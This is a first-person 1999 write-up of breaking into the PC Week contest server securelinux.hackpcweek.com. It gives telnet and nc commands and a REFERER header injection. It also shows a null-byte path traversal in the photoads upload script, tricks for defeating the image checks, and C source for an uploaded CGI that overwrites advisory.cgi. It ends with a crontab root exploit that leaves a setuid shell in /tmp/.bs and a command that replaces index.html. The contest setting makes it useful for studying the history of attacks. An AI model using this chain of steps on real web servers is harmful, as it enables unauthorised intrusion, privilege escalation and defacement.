HEXAGON: Última actualización  27/10/99 07:56:52 p.m.


A practical vulnerability analysis 
(The PcWeek crack)
By Jfs
 

First of all, I had to gather information on the remote host, what ports the machine had open and what possibilities were left open. After checking that most of the ports were either filtered by the firewall or unusable due to the tcp
wrapper in the host, I decided that I was left only with the HTTP server.

lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0

HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix)  (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#

So, it was running apache on a Red Hat box. The webpage said that the server will also run mod_perl, but mod_perl leaves a fingerprint in the Server: header which was not shown in the header that this server sent out.

Apache 1.3.6 doesn't ship with any CGI programs available to the remote user, but I didn't know about the RH distro, so I gave the common faulty CGIs a try (test-cgi, wwwboard, Count.cgi...)

After no results, I tried to find out what the website structure was, gathering information from the HTML pages, I found out that the server had this directories under the DocumentRoot of the website:

/
/cgi-bin
/photoads/
/photoads/cgi-bin

So I got interested in the photoads thingie, which seemed like an installable package to me. After some searching on the WWW I found out that photoads was a commercial CGI package from "The Home Office Online"
(http://www.hoffice.com). It sells for $149, and they grant you access to the source code (Perl), so that you can check and modify it.

I asked a friend if he would let me gave a look at his photoad installation
and this is how I got access to a copy of what could be running in the securelinux machine.

I checked the default installation files and I was able to retrieve the ads database (stored in the http://securelinux.hackpcweek.com/photoads/ads_data.pl) with all the user passwords for their ads. I also tried to access the configuration file /photoads/cgi-bin/photo_cfg.pl but because of the server setup I couldn't get it.

I got the /photoads/cgi-bin/env.cgi script (similar to test-cgi) to give me details of the server such as the location in the filesystem of the
DocumentRoot (/home/httpd/html) apart from other interesting data (user the
server runs as, in this case nobody).

So, first things first, I was trying to exploit either SSI (Server side includes) or the mod_perl HTML-embedded commands, which look something like:

<!--#include file="..."--> for SSI
<!--#perl ...--> for mod_perl

The scripts filtered thsi input on most of the fields, through a perl regexp that didn't leave you with much room to exploit. But I also found a user assigned variable that wasn't checked for strange values before making it into the HTML code, which will let me embed the commands inside the HTML for server side parsing:

In post.cgi, line 36:
print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\n";

The $ENV{'HTTP_REFERER'} is a user provided variable (though you have to know a bit of how HTTP headers work in order to get it right), which will allow us to embed any HTML into the code, regardless of what the data looks like.

Refer to the files getit.ssi and getit.mod_perl for the actual exploit.
To exploit it, do something like:

lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80

But unfortunately, the host didn't have SSI nor mod_perl configured, so I
hit a dead end.

I decided to find a hole in the CGI scripts. Most of the holes in perl scripts are found in open(), system() or `` calls. The first allows reading, writing and executing, while the last two allow execution.

There were no occurrences of the last two, but there were a few of the open() call:

lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more

advisory.cgi:       open (DATA, "$BaseDir/$DataFile");
edit.cgi:            open (DATA, ">$BaseDir/$DataFile");
edit.cgi:               open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi:       open(ULFD,">$write_file")  || die show_upload_failed("$write_file  $!");
photo.cgi:    open ( FILE, $filename );
(...)

There was nothing to do with the ones referring to $BaseDir and $DataFile as these were defined in the config file and couldn't be changed in runtime.
Same for the $mailprog.

But the other two lines are juicier...

In photo.,cgi, line 132:
       $write_file = $Upload_Dir.$filename;

       open(ULFD,">$write_file")  || die show_upload_failed("$write_file $!");
       print ULFD $UPLOAD{'FILE_CONTENT'};
       close(ULFD);

So if we are able to modify the $write_file variable we will be able write to any file in the filesystem. The $write_file variable comes from:

       $write_file = $Upload_Dir.$filename;

$Upload_Dir is defined in the config file, so we can't change it, but what about $filename?

In photo.cgim line 226:
 if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }

    $filename = lc($UPLOAD{'FILE_NAME'});
    $filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

    if ($filename =~ m/gif/) {
            $type = '.gif';
    }elsif ($filename =~ m/jpg/) {
            $type = '.jpg';
    }else{
            {&Not_Valid_Image}
    }

So the variable comes from $UPLOAD{'FILE_NAME'} (extracted from the variables sent to the CGI by the form). We see a regexp that $filename must match in order to help us get where we want to get, so we can't just sent any file we want to, e.g. "../../../../../../../../etc/passwd", cos it will get nulled out by the substitution :

    $filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

We see, if the $filename matches the regexp, it's turned to ascii 1 (SOH).
Apart from this, $filename must contain "gif" or "jpg" in its name in order
to pass the Not_Valid_Image filter.

So, after playing a bit with various approaches and with a bit of help from
Phrack's last article on Perl CGI security we find that

  /jfs/\../../../../../../../export/www/htdocs/index.html%00.gif

should allow us to refer to the index.html file (the one we have to modify, the main page in the web server).

But then, in order to upload we still need to fool some more script code...
We notice that we won't be able to fool the filename if we send the form in
a POST (the %00 doesn't get translated), so we are left out with only a GET.

In photo.cgi, line 256, we can see that some checks are done in the actual content of the file we just uploaded (:O) and that if the file doesn't comply with some specifications (basically width/length/size) of the image (remember, the photo.cgi script was supposed to be used as a method to upload a photoad to be bound to your AD). If we don't comply with these details the script will delete the file we just uploaded (or overwritten), and that's not what we want (at least not if we want to leave our details somewhere in the server :).

PCWeek has the ImageSize in the configuration file set to 0, so we can forget about the JPG part of the function. Let's concentrate on the GIF branch:

  if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
    open ( FILE, $filename );
    my $head;
    my $gHeadFmt = "A6vvb8CC";
    my $pictDescFmt = "vvvvb8";
    read FILE, $head, 13;
    (my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
    close FILE;
    $PhotoWidth = $width;
    $PhotoHeight = $height;
    $PhotoSize = $size;
return;
  }

and in photo.cgi, line 140:

        if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
            {&Not_Valid_Image}
        }

        if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
            {&Height_Width}
        }

So we have to make the $PhotoWidth less than 700, different from "" and smaller than ImgWidth (350 by default).

So we are left with $PhotoWidth != "" && $PhotoWidth < 350 .
For $PhotoHeight it has to be smaller than $ImgHeight (250 by default).

So, $PhotoWidth == $PhotoHeight == 0 will do for us. Looking at the script that gets the values into those variables, the only thing we have to do is to set the values in the 6th to 9th byte to ascii 0 (NUL).

We make sure that we put our FILE_CONTENT to comply with that and proceed with the next problem in the code...

        chmod 0755, $Upload_Dir.$filename;
        $newname = $AdNum;
        rename("$write_file", "$Upload_Dir/$newname");

        Show_Upload_Success($write_file);

Argh!!! After all this hassle and the file gets renamed/moved to somewhere we don't want it to be :(
Checking the $AdNum variable that gives the final location its name we see that it can only contain digits:

           $UPLOAD{'AdNum'} =~ tr/0-9//cd;
           $UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
           $AdNum = $UPLOAD{'AdNum'};

Anything else gets removed, so we can't play with the ../../../ trick in here anymore :|

So, what can we do? The rename() function expects us to give him two paths, the old one and the new one... wait, there is no error checking on the function, so if it fails it'll just keep on processing the next line. How can we make it fail? using a bad file name. Linux kernel has got a restriction on how long a file can be, defaults to 1024 (MAX_PATH_LEN), so if we can make the script rename our file to something longer than 1024 bytes, we'll have it! :)
So, next step we pass it a _really large_ AD number, approximately 1024 bytes long.
Now, the script won't allow us to process the script as it only allows us to post photos for ADs number that do exist... and it will take us a hell of a lot of time to create taht many messages in the board 10^1024 seems quite a long time to me :)
So... another dead end?

Nah, the faulty input checking functions let us create an add with the number we prefer. Just browse through the edit.cgi script and think what will happen if you enter a name that has a carriage return in between, then
a 1024 digits number? :) We got it...

Check the long.adnum file for an exploit that gets us the new ad created.

So, after we can fool the AdNum check, the script makes what we do, that is:

Create/overwrite any file with nobody's permissions, and with the contents
that we want (except for the GIF header NULs).

So, let's try it

Check the overwrite.as.nobody script that allows us to do that.

So far so good. So, we adjust the script to overwrite the index.html web page... and it doesn't work. Duh :(
It's probably that we didn't have the permission to overwrite that file (it's owned by root or it's not the right mode to overwrite it). So, what do we do now? Let's try a different approach...
We try to overwrite a CGI and see it we can make it run for us :) This way we can search for the "top secret" file and we'll get the prize anyway :)

We modify the overwrite script, and yes, it allows us to overwrite a CGI! :)
We make sure we don't overwrite any important (exploit-wise) CGI and we choose the advisory.cgi (what does it do anyway? :)).
So, we will upload a shell script that will allow us to execute commands, cool...

But then, when you run a shell script as a CGI, you need to specify the
shell in the first line of the script, as in:

#!/bin/sh
echo "Content-type: text/html"
find / "*secret*" -print

And remember, our 6th, 7th, 8th and 9th bytes had to be 0 or a very small value in order to comply with the size specifications...

#!/bi\00\00\00\00n/sh

That doesn't work, the kernel only reads the first 5 bytes, then tries to execute "#!/bi"... and as far as I know there is no shell we can access that fits in 3 bytes (+2 for the #!). Another dead end...

Looking at an ELF (linux default executable type) binary gives us the answer, as it results that those bytes are set to 0x00, yohoo :)

So we need to get an ELF executable into the file in the remote server. We  have to url-encode it as we can only use GETs, not POSTs, and thus we are limited to a maximum URI length. The default maximum URI length for Apache is 8190 bytes. Remember that we had a _very long_ ad number of 1024 characters, so we are left with about 7000 bytes for our URL-encoded ELF program.

So, this little program:

lemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
main()
{
printf("Content-type: text/html\n\n\r");
fflush(stdout);
execlp("/usr/bin/find","find","/",0);
}

compiled gives us:

lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x   1 root     root         4280 Sep 25 04:18 fin*

And stripping the symbols:

lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x   1 root     root         2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#

Then URL-encoding it:

lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r--   1 root     root         7602 Sep 25 04:20 fin.url

Which is TOO large for us to use in our script :(

so, we edit the binary by hand using our intuition and decide to delete everything after the "GCC" string in the executable. It's not a very academic approach and probably it'll pay to check the ELF specifications, but hey, it seems to work:

lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x   1 root     root         1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r--   1 root     root         4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#

Now, we incorporate this into our exploit, and run it...

Check the file called get.sec.find in the files directory for more info.
Also there you will find the to_url script and some .c files with basic commands to run along with their URL translations and finished exploits.

So, we upload the CGI, and access it with our favorite browser, in this case:

wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi

Which gives us a completed find / of the server :)

Unfortunately, either the "top secret" file is not there, or it is not accessible by the nobody user :(

We try some more combinations as locate, ls and others, but no traces of the "top secret" file.

[ I wonder where it was after all, if it ever existed ]

So, time to get serious and get root. As a friend of mine says, why try to reinvent the wheel, if it's already there. So with our data about the server
(Linux, i386 since my computer is an i386 and the ELFs ran as a charm...) we grep the local exploit database and find a nice exploit for all versions of RH's crontab.

Available on your nearest bugtraq/securityfocus store :) kudos to w00w00 for this

We modify it to tailor our needs, as we won't need an interactive rootshell, but to create a suidroot shell in some place accessible by the user nobody.
We tailor it to point to /tmp/.bs. We upload the CGI again, run it with our browser, and we are ready to see if the exploit runs fine.

We make a CGI that will ls /tmp and yeah, first try and we have the suitroot waiting for us :)

We upload a file to /tmp/xx with the modified index.html page.

Time to make a program that will run:

  execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);

And at this point the game is over :)

It's been around 20hours since we started, good timing 8)

We then upload and copy our details to a secure place where nobody will see them, and post a message in the forum waiting for replies :)